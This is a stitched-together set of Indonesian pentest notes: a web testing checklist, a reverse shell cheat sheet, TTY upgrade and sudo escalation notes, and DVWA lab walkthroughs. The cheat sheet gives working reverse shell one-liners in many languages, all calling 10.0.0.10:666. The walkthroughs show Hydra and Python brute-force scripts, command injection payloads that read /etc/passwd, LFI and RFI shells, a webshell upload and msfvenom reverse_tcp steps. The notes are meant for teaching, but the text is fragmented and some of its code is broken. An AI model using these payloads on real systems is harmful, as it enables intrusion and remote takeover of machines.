# Preambule Selamat datang di Gitbook Repository [**`Anggi's Notes`**](https://anggipradana.gitbook.io/anggi-s-notes/) ! Repository ini saya buat untuk berbagi pengetahuan mengenai temuan kerentanan saya di program *bug bounty*, tutorial di bidang keamanan siber serta catatan pembelajaran pribadi saya lainnya. ## Disclaimer Tujuan pembuatan repository ini adalah untuk mendokumentasikan temuan saya serta sebagai media pembelajaran mengenai keamanan siber (dan khususnya aplikasi web) yang mudah-mudahan dapat menjadi referensi pembelajaran bagi para pembaca. {% hint style="warning" %} **For Educational Purpose Only!** Saya tidak bertanggung jawab atas segala tindakan ilegal yang mungkin dipelajari dari repository ini. {% endhint %} {% hint style="danger" %} These are just notes that I sometimes take from many sources, don't expect originality or personal rights. I respect the original author by asking permission directly and citing the primary source {% endhint %} # Tutorial Setup VirtualBox Pada sesi ini akan dijelaskan langkah-langkah installasi VirtualBox untuk keperluan pembuatan virtualisasi OS/ environtment. Environtment host pada ### 1. Pengunduhan VirtualBox Lakukan pengunduhan pada link berikut ini: {% hint style="success" %}
Contoh pengubahan
Networking Models by SecurityZines.com
Scan for vulnerability ()
six2dez\
on stored param) * [ ] [SSRF ](https://pentestbook.six2dez.com/enumeration/web/ssrf)in previously discovered open ports * [ ] xmlrpc.php DOS and user enumeration * [ ] HTTP dangerous methods OPTIONS PUT DELETE * [ ] Try to discover hidden parameters ([arjun ](https://github.com/s0md3v/Arjun)or [parameth](https://github.com/maK-/parameth)) * [ ] Insecure deserialization #### Error handling * [ ] Access custom pages like /whatever\_fake.php (.aspx,.html,.etc) * [ ] Add multiple parameters in GET and POST request using different values * [ ] Add "\[]", "]]", and "\[\[" in cookie values and parameter values to create errors * [ ] Generate error by giving input as "/\~randomthing/%s" at the end of URL * [ ] Use Burp Intruder "Fuzzing Full" List in input to generate error codes * [ ] Try different HTTP Verbs like PATCH, DEBUG or wrong like FAKE ## Application Logic * [ ] Identify the logic attack surface * [ ] Test transmission of data via the client * [ ] Test for reliance on client-side input validation * [ ] Thick-client components (Java, ActiveX, Flash) * [ ] Multi-stage processes for logic flaws * [ ] Handling of incomplete input * [ ] Trust boundaries * [ ] Transaction logic * [ ] Implemented CAPTCHA in email forms to avoid flooding * [ ] Tamper product id, price or quantity value in any action (add, modify, delete, place, pay...) * [ ] Tamper gift or discount codes * [ ] Reuse gift codes * [ ] Try parameter pollution to use gift code two times in same request * [ ] Try stored XSS in non-limited fields like address * [ ] Check in payment form if CVV and card number is in clear text or masked * [ ] Check if is processed by the app itself or sent to 3rd parts * [ ] IDOR from other users details ticket/cart/shipment * [ ] Check for test credit card number allowed like 4111 1111 1111 1111 ([sample1](https://www.paypalobjects.com/en_GB/vhelp/paypalmanager_help/credit_card_numbers.htm) [sample2](http://support.worldpay.com/support/kb/bg/testandgolive/tgl5103.html)) * [ ] Check PRINT or PDF creation for IDOR * [ ] Check unsubscribe button with user enumeration * [ ] Parameter pollution on social media sharing links * [ ] Change POST sensitive requests to GET ## Other checks #### Infrastructure * [ ] Segregation in shared infrastructures * [ ] Segregation between ASP-hosted applications * [ ] Web server vulnerabilities * [ ] Dangerous HTTP methods * [ ] Proxy functionality * [ ] [Virtual ](https://pentestbook.six2dez.com/enumeration/webservices/vhosts)hosting misconfiguration ([VHostScan](https://github.com/codingo/VHostScan)) * [ ] Check for internal numeric IP's in request * [ ] Check for external numeric IP's and resolve it * [ ] Test [cloud ](https://pentestbook.six2dez.com/enumeration/cloud/cloud-info-recon)storage * [ ] Check the existence of alternative channels ([www.web.com](http://www.web.com) vs m.web.com) #### CAPTCHA * [ ] Send old captcha value. * [ ] Send old captcha value with old session ID. * [ ] Request captcha absolute path like [www.url.com/captcha/1.png](http://www.url.com/captcha/1.png) * [ ] Remove captcha with any adblocker and request again * [ ] Bypass with OCR tool ([easy one](https://github.com/pry0cc/prys-hacks/blob/master/image-to-text)) * [ ] Change from POST to GET * [ ] Remove captcha parameter * [ ] Convert JSON request to normal * [ ] Try header injections #### Security Headers * [ ] X-XSS-Protection * [ ] Strict-Transport-Security * [ ] Content-Security-Policy * [ ] Public-Key-Pins * [ ] X-Frame-Options * [ ] X-Content-Type-Options * [ ] Referer-Policy * [ ] Cache-Control * [ ] Expires # Bind vs Reverse Shell Concept Source: https\://www\.geeksforgeeks.org/ and GPTs In the context of penetration testing and cybersecurity, a "shell" refers to a user interface for accessing the operating system's services. In simpler terms, it's a way to interact with the computer's operating system through commands. There are two primary types of shells: 1. **Command-Line Shells**: These allow users to interact with the operating system via text-based commands. Examples include the Windows Command Prompt, PowerShell, and Unix/Linux shells like Bash, Zsh, or Ksh. 2. **Graphical Shells**: These provide a graphical user interface (GUI) to interact with the operating system. Examples include the Windows GUI, macOS Finder, or various Linux desktop environments like GNOME or KDE. In penetration testing: * When a penetration tester (or attacker) gains access to a shell on a target system, they can execute commands as if they were a legitimate user of that system. This is a critical step in many cyber attacks, as it often grants the attacker the ability to explore, extract data, or exploit the system further. * Both bind shells and reverse shells are methods to gain remote access to a command-line shell on a target system. The difference lies in how the connection between the attacker and the target system is established, as previously explained. Gaining access to a shell on a target system is a significant step in penetration testing, as it can allow for deep control and exploration of the system, depending on the level of access (user privileges) that the shell operates under. So what is Bind Shell and Reverse Shell. Lets gooo! ### Bind Shell:
# Reverse Shell Cheatsheet **Bash** ```bash bash -i >& /dev/tcp/10.0.0.10/666 0>&1 ``` *or* ```bash 0<&196;exec 196<>/dev/tcp/10.0.0.10/666; sh <&196 >&196 2>&196 ``` *or* ```bash bash -c 'bash -i >& /dev/tcp/10.0.0.10/666 0>&1' ``` **PowerShell** ```powershell powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.10',666);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -Name System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" ``` **Python for Linux** ```python python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.10",666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ``` *or* ```python __import__("os").system("bash -c 'bash -i >& /dev/tcp/10.0.0.10/666 0>&1'") ``` **Python for Windows** ``` exec("""import os, socket, subprocess, threading, sys\ndef s2p(s, p):\n while True:p.stdin.write(s.recv(1024).decode()); p.stdin.flush()\ndef p2s(s, p):\n while True: s.send(p.stdout.read(1).encode())\ns=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nwhile True:\n try: s.connect(("10.0.0.10",666)); break\n except: pass\np=subprocess.Popen(["powershell.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True, text=True)\nthreading.Thread(target=s2p, args=[s,p], daemon=True).start()\nthreading.Thread(target=p2s, args=[s,p], daemon=True).start()\ntry: p.wait()\nexcept: s.close(); sys.exit(0)""") ``` *or* ``` python -c 'exec("""import os, socket, subprocess, threading, sys\ndef s2p(s, p):\n while True:p.stdin.write(s.recv(1024).decode()); p.stdin.flush()\ndef p2s(s, p):\n while True: s.send(p.stdout.read(1).encode())\ns=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nwhile True:\n try: s.connect(("10.0.0.10",666)); break\n except: pass\np=subprocess.Popen(["powershell.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True, text=True)\nthreading.Thread(target=s2p, args=[s,p], daemon=True).start()\nthreading.Thread(target=p2s, args=[s,p], daemon=True).start()\ntry: p.wait()\nexcept: s.close(); sys.exit(0)""") ``` **Perl** ``` perl -e 'use Socket;$i="10.0.0.10";$p=666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' ``` **PHP** ``` php -r '$sock=fsockopen("10.0.0.10",666);exec("/bin/sh -i <&3 >&3 2>&3");' ``` **Ruby** ``` ruby -rsocket -e'f=TCPSocket.open("10.0.0.10",666).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ``` **Java** ``` r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.10/666;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor(); ``` **Lua** ``` lua -e "local s=require('socket');local t=assert(s.tcp());t:connect('10.0.0.10',666);while true do local r,x=t:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));t:send(b);end;f:close();t:close();" ``` **Telnet** ``` telnet localhost 443 | /bin/sh | telnet localhost 444 ``` **Xterm** ``` xterm -display 10.0.0.10:1 ``` *** ### PHP Web Pages **Linux** ``` & /dev/tcp/10.0.0.10/666 0>&1'")?> ``` **Windows** ``` &1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"")?> ``` *** ### Tools **Netcat** ``` nc -e /bin/sh 10.0.0.10 666 ``` **Netcat without -e** ``` rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.10 666 > /tmp/f ``` **Socat** ``` user@ubuntu:~$ socat - TCP4:10.0.0.10:666 EXEC:'/bin/bash -li' C:\> socat TCP4:10.0.0.10:666 EXEC:'cmd.exe' ``` **Powercat** ``` powercat -c 10.0.0.10 -p 666 -e cmd.exe ```
# Linux TTY Shell Cheat Sheet Source https\://steflan-security.com ### **Introduction** During a penetration test, when obtaining access to a remote Linux host via a reverse/bind shell, it can be very painful to issue certain commands over it and it is often a much better option to obtain an interactive shell. These are the main reason why this is a good idea: * More shell stability, as things like CTRL+C will no longer close down the connection. * Ability to use up, down, left, and right arrows to navigate through and modify commands. * Ability to use applications or commands that use a login prompt such as Sudo, MySQL, SSH, etc. * Ability to use tab-auto completion in commands. * Ability to view commands, output, and file contents in the same terminal size as the host machine. This article will list the various commands that can be used to obtain a TTY shell and also how to turn it into a fully interactive shell. ### **Cheat Sheet** The following table contains commands to execute in various scripting languages and tools to
| Command | Description |
| Shell to Bash TTY shell |
| Python BASH TTY shell |
| Python 3 BASH TTY shell |
| Echo BASH TTY shell |
| BASH TTY shell |
| Perl BASH TTY shell |
| Ruby BASH TTY shell |
| Lua BASH TTY shell |
| IRB BASH TTY shelll |
| Vi/Vim BASH TTY shell |
| Vi/Vim BASH TTY shell |
| Nano BASH TTY shell |
| Nmap BASH TTY shell |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
# Linux Privilege Escalation with Misconfigured Sudo Source https\://www\.hackingarticles.in **Let’s Start with Theoretical Concept!!** In Linux/Unix, a sudoers file inside /etc is the configuration file for sudo rights. We all know the power of sudo command, the word sudo represent **S**uper **U**ser **D**o root privilege task. Sudoers file is that file where the users and groups with root privileges are stored to run some or all commands as root or another user. Take a look at the following image.
Welcome to the password protected area {$user}
"; echo ""; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?> ``` ## Mencari Informasi Perhatikan bahwa form ini menggunakan method `GET`, sehingga data akan dikirim melalui URL. Contohnya, ketika saya mengisi nilai username menjadi *"admin"* dan password *"123456"*, maka data tersebut akan terlihat di URL-nya: ``` http://172.17.0.2/vulnerabilities/brute/?username=admin&password=12345&Login=Login# ``` Untuk mengetahui lebih lanjut tenang method `GET` ini, anda bisa membaca [artikel CodeSaya](https://codesaya.com/a/method-post-dan-get-pada-form-gnmjgzbsdt/). Dan jika inputan salah akan muncul pesan seperti pada baris ke-26, yaitu muncul pesan seperti berikut:  Selain itu kita bisa melihat *cookie*-nya terlebih dahulu menggunakan Burpsuite (atau menggunakan *inspect element* pada browser).  Terlihat bahwa terdapat *cookie* `PHPSESSID` dan `security` yang digunakan untuk mengatur web itu sendiri. *Cookie* ini akan kita gunakan untuk melakukan brute force. Jika kita mengamati *source-code*-nya lagi, terlihat bahwa tidak adanya Anti-CSRF token, limit maupun CAPTCHA. Dengan demikian kita bisa dengan mudah melakukan brute force. ## Melakukan Serangan Pertama, siapkan wordlist yang akan kita gunakan. Saya telah membuat wordlist sendiri, seperti berikut:
Username and/or password incorrect.
{% file src="/files/Xean8sOV1WTVm7MMahzP" %} {% file src="/files/LIUY0p0XDB8LQmvKU6z1" %} DVWA Wordlist {% endfile %} Kedua, buka terminal dan jalankan *tool* Hydra seperti berikut: ```bash hydra 172.17.0.2 -l admin -P DVWA-Wordlist.txt http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect.:H=Cookie:PHPSESSID=77jr5376ldag1qc392brdr2b11; security=low" ``` Penjelasan: * `172.17.0.2` adalah IP target yang kita tuju (bisa juga menggunakan domain). * `-l admin`, di sini saya mengasumsikan bahwa kita tahu username dari target adalah *"admin"* (bukan yang lain). * `-P DVWA-Wordlist.txt` berfungsi untuk menentukan file wordlist untuk password yang akan dicoba satu per satu. * `http-get-form` berfungsi untuk menentukan method yang digunakan pada form adalah `GET`. * `username=^USER^&password=^PASS^` nilai tersebut akan diisi dari username (`-l`) dan password (`-P`) yang telah kita tentukan sebelumnya. * `F=Username and/or password incorrect.` digunakan untuk membandingkan hasil brute force. Jika menghasilkan teks tersebut berarti password tidak valid. * `H=Cookie:` digunakan untuk mengatur *cookie* yang digunakan ketika mengakses web tersebut. Hasil dari perintah di atas adalah seperti berikut:  Terlihat bahwa kata *"password"* adalah password yang valid. Jika kita coba pada web, maka akan tampil seperti berikut:  Yups! Selamat! Kita berhasil melakukan brute force pada level low, sekarang kita lanjut ke level medium.😁
# Medium Brute Force level Medium on DVWA Di bawah ini adalah *source-code* dari form login level medium di DVWA. ```php vulnerabilities/brute/source/medium.php ' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "
Welcome to the password protected area {$user}
"; echo ""; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?> ``` ## Mencari Informasi Tidak jauh berbeda dengan level sebelumnya, hanya saja ketika gagal melakukan login akan ada jeda selama 2 detik (terlihat di baris ke-28). Dan jika di cek menggunakan Burpsuite, yang berubah hanyalah nilai dari *cookie* `security`.  ## Melakukan Serangan Karena tidak jauh berbeda dengan level yang sebelumnya, maka kita masih menggunakan perintah yang sama seperti sebelumnya, hanya saja nilai dari `security` pada *cookie* kita rubah menjadi "*medium*". ``` hydra 172.17.0.2 -l admin -P DVWA-Wordlist.txt http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect.:H=Cookie:PHPSESSID=77jr5376ldag1qc392brdr2b11; security=medium" ```  Hasilnya sama seperti sebelumnya, tetapi proses kali ini akan lebih lama karena akan terjadi *delay* 2 detik ketika gagal melakukan login. Selamat! Kita berhasil dan akan lanjut ke level berikutnya.
Username and/or password incorrect.
# High ## High Brute Force level High on DVWA Di bawah ini adalah *source-code* dari form login level high di DVWA. ```php vulnerabilities/brute/source/high.php ' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "
Welcome to the password protected area {$user}
"; echo ""; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?> ``` ## Mendapatkan Informasi Pada level high ini, server akan melakukan validasi Anti-CSRF token terlebih dahulu. Dan jika gagal melakukan login akan terjadi *delay* 0-3 detik. Singkatnya, **Anti-CSRF token** adalah token yang bersifat unik (setiap adanya *request* baru nilanya akan berubah) yang digunakan untuk memastikan user melakukan *request* secara resmi. Jika kita melakukan *inspect element*, maka akan terlihat terdapat tag `input` bertipe *hidden* dengan nama `user_token` beserta nilainya.  Nilai dari token tersebut akan selalu berubah ketika kita melakukan *request* yang baru (coba saja anda *refresh*, pasti hasilnya akan berbeda). Jika kita memaksa untuk menggunakan nilai yang sama, maka *request* akan gagal dilakukan dan halaman akan di-*redirect* ke form login kembali.  Untuk menghadapi masalah ini kita tidak bisa menggunakan **Hydra** lagi, karena tidak bisa mengatasi Anti-CSRF token yang selalu berubah-ubah. Oleh karena itu, kita akan melakukan brute force dengan membuat *script* sendiri menggunakan bahasa Python. ```python nano bruteforce.py /Tulis script berikut from sys import argv import requests from BeautifulSoup import BeautifulSoup as Soup # give our arguments more semantic friendly names script, filename, success_message = argv txt = open(filename) # set up our target, cookie and session url = 'http://172.17.0.2/vulnerabilities/brute/index.php' cookie = {'security': 'high', 'PHPSESSID':'77jr5376ldag1qc392brdr2b11'} s = requests.Session() target_page = s.get(url, cookies=cookie) ''' checkSuccess @param: html (String) Searches the response HTML for our specified success message ''' def checkSuccess(html): # get our soup ready for searching soup = Soup(html) # check for our success message in the soup search = soup.findAll(text=success_message) if not search: success = False else: success = True # return the brute force result return success # Get the intial CSRF token from the target site page_source = target_page.text soup = Soup(page_source); csrf_token = soup.findAll(attrs={"name": "user_token"})[0].get('value') # Display before attack print 'DVWA URL' + url print 'CSRF Token='+ csrf_token # Loop through our provided password file with open(filename) as f: print 'Running brute force attack...' for password in f: # Displays password tries and strips whitespace from password list print 'password tryed: ' + password password = password.strip() # setup the payload payload = {'username': 'admin', 'password': password, 'Login': 'Login', 'user_token': csrf_token} r = s.get(url, cookies=cookie, params=payload) success = checkSuccess(r.text) if not success: # if it failed the CSRF token will be changed. Get the new one soup = Soup(r.text) csrf_token = soup.findAll(attrs={"name": "user_token"})[0].get('value') else: # Success! Show the result print 'Password is: ' + password break # We failed, bummer. if not success: print 'Brute force failed. No matches found.' ``` ## Melakukan Serangan Pertama, kita siapkan dulu *script*-nya seperti berikut: *Script* tersebut saya dapatkan ketika membaca artikel [Danny Beton](https://medium.com/@dannybeton/dvwa-brute-force-tutorial-high-security-456e6ed3ae39). *Script* tersebut menggunakan Python2. Sebelum menjalankannya, pastikan dependensi telah terinstall. ```bash sudo pip install requestssudo pip install beautifulsoup ``` Untuk menjalankan *script* tersebut, kita membutuhkan parameter untuk nama file wordlist dan pesan sukses untuk menentukan keberhasilannya, seperti berikut: ```bash python2.7 bruteforce.py DVWA-Wordlist.txt "Welcome to the password protected area admin" ```  Jika berhasil, akan muncul password yang valid seperti gambar di atas. # Command Injection **Command Injection** adalah salah satu jenis serangan yang sangat berbahaya, karena peretas bisa menjalan perintah secara sewenang-wenang pada komputer victim. ## Apa itu Command Injection? **Command Injection** adalah serangan yang mana tujuannya adalah mengeksekusi perintah secara sewenang-wenang pada sistem operasi melalui aplikasi yang rentan. Serangan *command injection* bisa terjadi ketika sebuah aplikasi (*forms*, *cookies*, HTTP *headers*, dll) bisa menjalankan perintah yang tidak aman dari inputan user ke sistem shell. Biasanya, hak akses yang dimiliki oleh peretas akan sama dengan aplikasi yang rentan tersebut. Misalnya, di DVWA ini terdapat kerentanan *command injection* dan aplikasi ini berjalan dengan user `www-data`pada sistem operasi linux, sehingga peretas akan menjalankan perintah pada komputer target sebagai user `www-data` tersebut. ## Apa itu Shell? Maksud kata *"command"* di sini apa? apakah perintah pada bahasa pemrograman? Jawabannya adalah perintah dari shell yang digunakan oleh user di komputer tersebut. Umumnya, Unix dan Linux menggunakan Bash sebagai shell default-nya. Sedangkan di Windows terdapat Command Prompt dan PowerShell. ## Pengetahuan yang Harus Dimiliki Pemahaman yang paling penting untuk melakukan *command injection* adalah pemahaman tentang *command* itu sendiri. Contohnya pada DVWA ini *command* yang di maksud adalah shell bash, sehingga pentester harus memiliki pemahaman tentang shell bash tersebut. ## Bagaimana Cara Mengatasi Command Injection? Ada beberapa cara untuk menangani *command injection* ini, diantarnya adalah seperti berikut: 1. Jangan izinkan perintah `exec` ke sistem operasi jika itu bisa dihindari. 2. Melakukan validasi input dari user dengan cara melarang untuk memasukan perintah-perintah yang berbahaya. 3. Netralkan meta karakter yang memiliki makna pada shell komputer target. 1. **Untuk Windows:** Awali setiap karakter dengan ‘`^`’ untuk "melarikan diri" dan menetralkan makna khususnya kepada penerjemah baris perintah: `() <> & * ‘| =? ; [] ^ ~! . ”% @ / \: +,`. 2. **Untuk Linux dan Unix:** Awali setiap karakter dengan ‘`\`’ untuk menghindarinya dan menetralkan makna khususnya kepada penerjemah baris perintah: `{} () <> & * ‘| =? ; [] $ - # ~! . ”% / \: +,`. 4. Dan lain-lain. # Low Di bawah ini adalah *source-code* dari *command injection* level low di DVWA. ```php vulnerabilities/xss_d/source/low.php ``` ## Mencari Informasi [`shell_exec()`](https://www.php.net/manual/en/function.shell-exec.php) adalah fungsi bawaan PHP yang berfungsi untuk menjalankan perintah melalui shell dan mengembalikan output yang lengkap sebagai string. Terlihat bahwa pada baris ke-10 dan 14 program ini menjalankan perintah **ping** ke target yang diinputkan oleh user. Contoh dari penggunaan program ini adalah seperti berikut:  Jika kita perhatikan *source code*-nya, tidak ada validasi inputan. Pada Unix/Linux, tanda `;` memungkinkan user bisa menjalankan beberapa perintah sekaligus pada satu baris yang sama. ## Melakukan Serangan Setelah mengetahui bahwa tidak ada validasi input, kita bisa memanfaatkan `;` untuk menjalankan perintah lainnya. Seperti contohnya `8.8.8.8; whoami` yang digunakan untuk mengetahui user yang sedang digunakan.  Kita juga bisa melihat isi dari file **/etc/passwd** dengan memasukkan `8.8.8.8; cat /etc/passwd`, membuat *backdoor*, dll. Maka dari itu, *command injection* ini sangatlah berbahaya. Selanjutnya, anda bisa melakukan *back connect*, dengan cara reverse shell atau bind shell. Penjelasan tentang *back connect* bisa anda baca [di sini](https://medium.com/@nairpaa/post-exploitation-with-netcat-fb63a03703e7). ### Alternatif `;` Selain menggunakan `;` kita juga memiliki alternatif lain seperti berikut yang bisa digunakan di shell bash. * `&&` — AND Operator * `|` — PIPE Operator (menghapus hasil ping dari output) Selamat! Kita telah berhasil melakukan *command injection*. Silahkan anda bisa mencoba melakukan eskalasi lebih lanjut.😆 # Medium Command Injection level Medium on DVWA Di bawah ini adalah *source-code* dari *command injection* level medium di DVWA. ```php vulnerabilities/exec/source/medium.php '', ';' => '', ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "
Username and/or password incorrect.
{$cmd}";
}
?>
```
## Mencari Informasi
Terlihat dibaris ke-7 sampai 11, terdapat *blacklist* untuk string `&&` dan `;` pada inputan. Tetapi seperti yang telah di bahas sebelumnya terdapat alternatif lain yaitu `|`. 😁
## Melakukan Serangan
Cukup ganti inputan menjadi menggunakan tanda `|`, dan hasilnya akan seperti berikut:
{% hint style="info" %}
Jika menggunakan `|` maka hasil dari perintah **ping** tidak akan muncul. Karena pipeline akan melakukan perintah terakhir apabila perintah-perintah sebelumnya tidak terkait atau tidak dapat menjadi input untuk perintah berikutnya.
{% endhint %}
# High
## High
Command Injection level High on DVWA
Di bawah ini adalah *source-code* dari *command injection* level high di DVWA.
```php
vulnerabilities/xss_r/source/high.php
Hello ${name}";
}
?>
```
## Mencari Informasi
Pada level ini, *blacklist* yang diberikan menjadi semakin banyak. Tetapi jika kita teliti, di baris ke-11 terdapat celah😁 . `'| ' => ''` terdapat spasi setelah `|` . Ini bisa kita manfaatkan dengan cara menjalankan perintah langsung tanpa spasi setelah `|`.
## Melakukan Serangan
Sekarang kita coba menginputan `8.8.8.8 |whoami` (digabung antara pipeline dan command) seperti berikut:
# Local File Inclusion
## Apa itu File Inclusion?
**File Inclusion** adalah serangan yang ditujukan kepada website yang memiliki celah keamanan yang biasanya menggunakan fungsi memanggil file melalui suatu inputan dinamis, dalam hal ini berarti seseorang dapat mengganti alamat file yang akan dipanggil dan kemudian diproses.
Efek dari serangan ini cukup besar, peretas bisa saja mengambil informasi penting pada server, merubah dan menghapus data, hingga menyisipkan *shell backdoor/malware*.
Terdapat 2 jenis *file inclusion*, yaitu:
* **Local File Inclusion (LFI)**, hanya bisa melihat data yang ada di dalam server tersebut.
* **Remote File Inclusion (RFI)**, kita bisa mengambil file diluar jaringan agar bisa dijalankan.
## Pengetahuan yang Harus Dimiliki
Ada beberapa pengetahuan yang sangat penting menurut saya untuk melakukan *file inclusion* ini, yaitu:
1. Pengetahuan tentang *HTTP request*,
2. Pengetahuan tentang bahasa pemrograman untuk membuat shell,
3. Dan pengetahuan tentang hirarki direktori dari sistem operasi target.
## Remidiasi
1. Melakukan validasi atau sanitasi terhadap *input* yang diberikan oleh *user*. Web harus dapat membedakan format/karakter *input* user berdasarkan tujuan dari *input* tersebut. Berdasarkan kasus ini, *dot-dot-slash (../)* dapat disanitasi oleh sistem untuk mencegah *path traversal.*
2. Melakukan pembatasan akses ke luar direktori aplikasi. Aplikasi web harus diatur agar tidak ada permintaan dari *user* untuk akses ke luar direktori web yang diijinkan.
3. Mengurangi *input* langsung yang memungkinkan *user* dapat memanipulasi parameter yang akan langsung di eksekusi oleh server.
# Low
File Inclusion level Low on DVWA
Di bawah ini adalah *source-code* dari *file inclusion* level low di DVWA.
```php
vulnerabilities/fi/source/low.php
```
## Mencari Informasi
Saat pertama kali kita mengakses halaman *file inclusion*, terdapat parameter **page** pada URL yang memanggil file **include.php**.
Jika kita klik **file1.php**, maka nilai parameter **page** akan menggunakan nama file tersebut dan menampilkan isinya, seperti berikut:
Ketika saya coba menginputkan `../` (untuk mundur 1 direktori) tidak terdapat pesan *error* apa pun. Dengan begitu kita bisa mencoba untuk melakukan eskalasi lebih lanjut.
## Melakukan Serangan
Karena ada 2 jenis *file inclusion*, kita akan mencoba keduanya.
### Local File Inclusion
Contohnya saya akan mencari file **/etc/passwd** pada server. Untuk itu saya harus mundur beberapa direktori dari tempat web server saat ini.
Setelah saya coba berkali-kali, akhirnya saya menemukan jawabannya, yaitu mundur 5 direktori terlebih dahulu.
```
?page=../../../../../etc/passwd
```
Yup! Dan sekarang kita bisa melihat isi dari file tersebut.
Cara lainnya adalah anda bisa langsung menggunakan payload seperti berikut:
```
?page=/etc/passwd
```
Selanjutnya anda bisa meng-*explore* lebih jauh lagi.😁
### Remote File Inclusion
Kali ini kita akan membuat shell terlebih dahulu, lalu kita akan upload file tersebut ke suatu server yang bisa diakses oleh server target dan kita melakukan RCE.
```php
RFI-shell.txt
".$cmd.""."".$output.""; } ?> ``` Langsung saja, pertama-tama kita buat shell seperti di bawah ini lalu upload ke hosting/VPS kalian: Setelah di-upload, panggil file tersebut melalui celah *file inclusion*. Contohnya di sini shell bisa diakses di **
{$target_path} succesfully uploaded!";
}
}
?>
```
## Mencari Informasi
Terdapat form untuk melakukan upload file. Ketika saya coba meng-upload file kosong dengan ekstensi `.php`, maka file tersebut akan terkirim dan bisa diakses.
Terlihat bahwa tidak ada validasi untuk `.php` di sini, sehingga kita bisa menfaatkannya untuk menjalankan shell berbahaya.
## Melakukan Serangan (Upload Webshell)
Webshell merupakan sekumpulan script yang mampu mengeksekusi perintah shell dalam sebuah web server. Web Shell ini umumnya akan ditanam oleh para hacker dengan memanfaatkan celah keamanan pada website untuk selanjutnya dimanfaatkan untuk berbagai kepentingan si penanam shell. Ada banyak jenis-jenis web shell yang digunakan, kemampuannya pun berbeda-beda. Dibawah ini disediakan 2 jenis webshell yaitu webshell sederhana yang membuat backdoor command execution sederhana dan yang memiliki banyak fitur.
{% file src="/files/-McoklrUPv7WklOF-A5l" %}
Simple shell
{% endfile %}
{% file src="/files/-Md2OP7WJwGhGW7zMSdG" %}
b374k
{% endfile %}
Langkah berikutnya lakukan pengunggahan.\
**Apabila terdapat pembatasan maksimal file, bypass dengan cara mengedit MAX FILE pada request (dengan Burpsuite).**
## Melakukan Serangan (Msfvenom+Metasploit)
Pertama-tama, saya akan membuat shell-nya terlebih dahulu menggunakan tool **msfvenom**.
Sebenarnya kita bisa saja menggunakan simple web shell, tetapi saya mencoba mengajak anda untuk menggunakan tool sebagai pengalaman baru.
```bash
msfvenom -p php/meterpreter/reverse_tcp lhost=172.17.0.1 lport=1337
```
Keterangan:
* `php/meterpreter/reverse_tcp` adalah payload yang akan saya gunakan.
* `lhost` berisi IP dari saya (sebagai peretas).
* `lport` berisi port yang akan saya gunakan.
Nanti akan muncul *script* PHP kurang lebih seperti berikut:
```bash
/* use multi/handlermsf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcpmsf5 exploit(multi/handler) > set lhost 172.17.0.1msf5 exploit(multi/handler) > set lport 1337msf5 exploit(multi/handler) > run
```
Langkah **keempat** adalah mengakses shell tersebut. Dan jika berhasil kita bisa me-*remote* server tersebut seperti gambar di bawah ini.
Selamat!
Happy Hacking! 🍻
# Medium
File Upload level Medium on DVWA
